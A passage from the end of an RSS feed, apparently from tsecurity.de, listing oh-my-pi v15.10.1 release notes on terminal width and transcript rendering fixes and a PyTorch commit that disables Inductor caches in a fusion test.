<p>Fixed <code>visibleWidth()</code> so terminal column measurements for ANSI and OSC text now match the native truncation/wrapping helpers, including OSC 66 text-sizing spans being counted at their scaled payload width</p>
</li>
<li>
<p>Fixed cursor, padding, and line-fit behavior when strings contain tabs or OSC escapes by aligning <code>visibleWidth()</code> with the native text-width model</p>
</li>
<li>
<p>Fixed the transcript — or a re-appearing prior view such as the welcome screen — duplicating itself on terminals without a scroll-position oracle (Ghostty/kitty/iTerm/WezTerm) when a foreground tool completes by rewriting a partly-committed block, or when the transcript is reset. A non-destructive viewport repaint no longer re-paints rows that are byte-identical to what is already committed to native scrollback into the active grid; the repaint anchor is clamped to the committed-and-unchanged prefix (<code>min(firstChanged, scrollbackHighWater)</code>).</p>
</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(ai): route llama.cpp parallel tool calls by <code>item.call_id</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605305722" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2016" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2016/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2016">#2016</a></li>
<li>fix(debug): accept directory programs for dlv and auto-select dlv mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4605979296" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2021" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2021/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2021">#2021</a></li>
<li>fix(ai): coerce singleton array arguments by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4606419503" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2027" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2027/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2027">#2027</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.10.0...v15.10.1"><tt>v15.10.0...v15.10.1</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/597d8e5fe8a7e1853d371fad8d6ea081dd833c2f: test/inductor: disable caches in max reads fusion test (#183695)]]></title>
<description><![CDATA[The max reads fusion test asserts scheduler/codegen metrics that are only populated during fresh compilation. Disable Inductor caches for this test so a warm FX graph cache cannot bypass the metric-producing path; prior abandoned context is chuanqi129#5.
Fixes #181699
Generated by my agent
Pull R...]]></description>
<link>https://tsecurity.de/de/3580032/downloads/trunk597d8e5fe8a7e1853d371fad8d6ea081dd833c2f-testinductor-disable-caches-in-max-reads-fusion-test-183695/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580032/downloads/trunk597d8e5fe8a7e1853d371fad8d6ea081dd833c2f-testinductor-disable-caches-in-max-reads-fusion-test-183695/</guid>
<pubDate>Sun, 07 Jun 2026 23:17:11 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The max reads fusion test asserts scheduler/codegen metrics that are only populated during fresh compilation. Disable Inductor caches for this test so a warm FX graph cache cannot bypass the metric-producing path; prior abandoned context is <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348982328" data-permission-text="Title is private" data-url="https://github.com/chuanqi129/pytorch/issues/5" data-hovercard-type="pull_request" data-hovercard-url="/chuanqi129/pytorch/pull/5/hovercard" href="https://github.com/chuanqi129/pytorch/pull/5">chuanqi129#5</a>.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340177066" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/181699" data-hovercard-type="issue" data-hovercard-url="/pytorch/pytorch/issues/181699/hovercard" href="https://github.com/pytorch/pytorch/issues/181699">#181699</a></p>
<p>Generated by my agent</p>
<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4445019337" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/183695" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/183695/hovercard" href="https://github.com/pytorch/pytorch/pull/183695">#183695</a><br>
Approved by: <a href="https://github.com/shunting314">https://github.com/shunting314</a></p>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,18ms -->